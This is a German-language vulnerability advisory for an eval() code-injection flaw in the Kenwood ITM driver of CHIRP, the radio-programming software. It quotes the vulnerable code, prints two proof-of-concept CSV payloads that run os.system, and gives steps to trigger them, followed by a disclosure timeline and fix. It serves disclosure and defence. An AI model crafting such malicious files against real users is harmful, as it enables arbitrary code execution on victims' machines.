CHIRP — Ausführung beliebigen Codes über eval() im Kenwood-ITM-Treiber

Produkt: CHIRP – Ein Open-Source-Projekt zur Programmierung von Amateurfunkgeräten.
Betroffene Versionen: URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
Betroffene Versionen: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)

---

Überblick

Der Treiber von CHIRP für das Kenwood-ITM-Dateiformat übergibt rohe CSV-Feldwerte aus einer geöffneten Datei ungeprüft direkt an Pythons eingebaute Funktion eval(). Ein Angreifer, der einem CHIRP-Benutzer eine manipulierte Datei zukommen lässt, erreicht damit die Ausführung beliebigen Codes unter dem Benutzerkonto des Opfers.

Ursache

chirp/drivers/kenwood_itm.py, _clean_tmode(), Zeilen 66–67:

def _clean_tmode(self, headers, line, mem):
    rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG"))  # SINK
    ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG"))  # SINK

Die Werte von TXSIG und RXSIG stammen direkt aus einer CSV-Zeile in der geöffneten Datei. Vor dem Aufruf von eval() erfolgt weder eine Typprüfung noch eine Allowlist- oder Sandbox-Prüfung.

POCs

Im Folgenden werden zwei POCs vorgestellt.

Bösartige .itm

// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0

Bösartige .img

// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0

 chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==

Auslösen in CHIRP

1. CHIRP starten.
2. Datei → Öffnen.
3. {file_name}.img auswählen. Wenn die .itm-Nutzlast verwendet wird, das Filter-Dropdown auf „Alle Dateien" umstellen (ITM wird in CHIRP nicht gefiltert).
4. {file_name}.itm auswählen.

Offenlegung

2026-8-17 -- Schwachstelle entdeckt
2026-8-17 -- E-Mail an den Maintainer
2026-8-17 -- Maintainer antwortete und der Code wurde noch am selben Tag korrigiert. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- Installer-Release 20260821 enthält die Korrektur.
2026-8-22 -- NotCVE-2026-0013 vergeben.
2026-8-23 -- CVE-2026-78136 vergeben.